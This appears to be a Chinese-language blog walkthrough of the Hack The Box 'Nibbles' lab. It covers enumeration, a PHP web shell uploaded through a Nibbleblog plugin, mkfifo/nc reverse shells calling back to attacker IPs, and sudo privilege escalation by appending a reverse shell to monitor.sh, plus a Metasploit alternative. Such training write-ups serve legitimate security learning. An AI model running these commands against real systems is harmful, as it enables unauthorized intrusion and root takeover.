Published on
|...

HTB-Attack Your First Box

此文用來留下當時一步一步的紀錄,破關也要留個文件才行!

Pentest Basic Nibbles - Enumeration (1/5)

題目要求執行腳本掃描,並列出Server版本

Run an nmap script scan on the target. What is the Apache version running on the server? (answer format: X.X.XX)


執行 nmap -sV --script=http-enum -oA nibbles_nmap_http_enum 10.129.35.70

看到Apache 版本

image



Nibbles - Web Footprinting (2/5)

Nibbles - Initial Foothold (3/5)

延續前面

Gain a foothold on the target and submit the user.txt flag

取得主機名稱並透過whatweb檢查,透過firefox可以看到Hello World!

沒有看到特別的東西

image


打開DevTools可以看到一個有趣的留言

image


透過Curl 再次驗證

image

進一步透過whatweb 檢查nibbleblog在做什麼

image

來看看Nibbleblog

image

目前沒有什麼想法,先搜尋看看Nibbleblog exploit,很快地就會看到一個檔案上傳漏洞,但因為不知道目前版本,所以要來看看有沒有其他可以看到的資訊

image

透過指令腳本進一步檢查有沒有可用IP
註:Gobuster是檢查目錄的工具

gobuster dir -u http://xxx.xxx.xxx.xxx/nibbleblog/ --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt

image

掃描後,回應200 response code的裡面注意到有admin.php 跟README的存在

透過curl README之後注意到有出現版本號 v4.0.3

image

在前面列舉出來 200 response code裡面還有一個 admin.php 我們可以連過去看看

image


前面列舉出來301相關的response也可以看看,你可以看到有帶出對應的連結

Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 303]
/.htaccess            (Status: 403) [Size: 308]
/.htpasswd            (Status: 403) [Size: 308]
/README               (Status: 200) [Size: 4628]
/admin                (Status: 301) [Size: 325] [--> http://10.129.11.223/nibbleblog/admin/]
/admin.php            (Status: 200) [Size: 1401]
/content              (Status: 301) [Size: 327] [--> http://10.129.11.223/nibbleblog/content/]
/index.php            (Status: 200) [Size: 2987]
/languages            (Status: 301) [Size: 329] [--> http://10.129.11.223/nibbleblog/languages/]
/plugins              (Status: 301) [Size: 327] [--> http://10.129.11.223/nibbleblog/plugins/]
/themes               (Status: 301) [Size: 326] [--> http://10.129.11.223/nibbleblog/themes/]



開啟content裡面瞧瞧

image

翻翻找找, Private裡面居然有個user.xml,看來很像是admin帳號,但沒有密碼

不直接使用暴力破解是因為這個lab很有可能被黑名單以及封鎖

image

透過 gobuster dir -u http://10.129.42.190/ --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt

在對目錄做一次暴力破解

回頭去看config.xml裡面,會注意到有Nibbles,他有機會是密碼嗎

image 13


這裡可以再利用其他破解工具確認,不過本章節的重點在 盡可能的枚舉


最後透過admin/nibbles 成功登入

image 14


接下來我們已經登入,透過Plugins 將

<?php system('id'); ?>

寫成文字檔並上傳

點選My image → configure

image 15


image 16

點選browse 然後save changes

此時彈出一坨error,但看起來是有上傳成功

image 17

在剛剛的private裡面還有一個plugins 裡面有my_image的目錄,並且時間都很接近我們剛剛上傳的時間

image 18

SunQ129@htb[/htb]$ curl http://xxx.xxx.xxx.xxx/nibbleblog/content/private/plugins/my_image/image.php

看起來有遠端執行成功,前面執行的php 取得了id

image 19

市面上有許多Reverse Shell速查表。其中幾款很棒的有 PayloadAllTheThingsHighOn,Coffee

接下來修改檔案,重新上傳

<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 9443 >/tmp/f"); ?>

可以透過ifconfig取得tun0 IP

image 20

image 21

上傳檔案後開始監聽port nc -lvnp 9443

image 22

重新上傳檔案,並透過curl or 進入瀏覽器點擊執行反向shell (當使用者不慎執行到的時候就觸發)

但這時候還是 $ 的介面

image 23

透過執行 python -c 'import pty; pty.spawn("/bin/bash")'

嘗試升級一下shell level

第一次執行失敗看起來因為沒有python (python2)

於是使用 which pthon3 找找看位置

image 24

既然還有python3

那就來執行

python3 -c 'import pty; pty.spawn("/bin/bash")'

看起來獲得了一個好的shell

image 25

移動到 /home/nibbler

看到user.txt 跟一個壓縮檔

image 26

Nibbles - Privilege Escalation (4/5)

下一步,解壓縮這個檔案

unzip personal.zip

發現了一個personal.zip

image 27

這裡不能按tab實在有點蛋疼,到解開的目錄下看看monitor.sh

image 28

回到本機 Local Machine

先下載LinEnum

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

執行

sudo python3 -m http.server 8080

在遠端control的機器上執行

wget http://<your ip>:8080/LinEnum.sh

將LinEnum.sh 從遠端下載下來

image 29

下載好後,chmod +x 給執行權限,然後執行

image 30


訊息很多,這邊可能會被洗掉,有趣的關鍵在我們可以用sudo了

image 31


因為可以控制檔案,於是我們在最後面加上一個反向shell 並用sudo執行

所以我們要用root user身份回傳,記得變換IP

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.162 8443 >/tmp/f' | tee -a monitor.sh

把這一行指令加到 monitor.sh裡面

image 32

本地主機先執行反向shell

nc -lvnp 8443


接著在遠端主機透過sudo執行腳本

sudo /home/nibbler/personal/stuff/monitor.sh

<br />

image 33

取得權限以後,移動到根目錄root下面

看到root.txt 成功奪旗

image 34


Nibbles - Alternate User Method - Metaexploit (5/5)

在Terminal 裡面輸入 msfconsole

image 35


透過 Search nibbleblog 快速找到相關漏洞

image 36


輸入 use 0 / rhost / lhost 將相對應參數帶入

image 37


使用show options 檢查有沒有對應還需要輸入的參數 注意Required

image 38


輸入 username / password / targeturi

image 39


這裡設定payload 使用 generic/shell_reverse_tcp

image 40


我這裡顯示錯誤,提醒我要檢查username password targeturi

看一看發現是URI寫錯,寫成了nibblebolg

image 41


再次使用exploit 順利完成,到這邊就完成所有第一個BOX的步驟了

image 42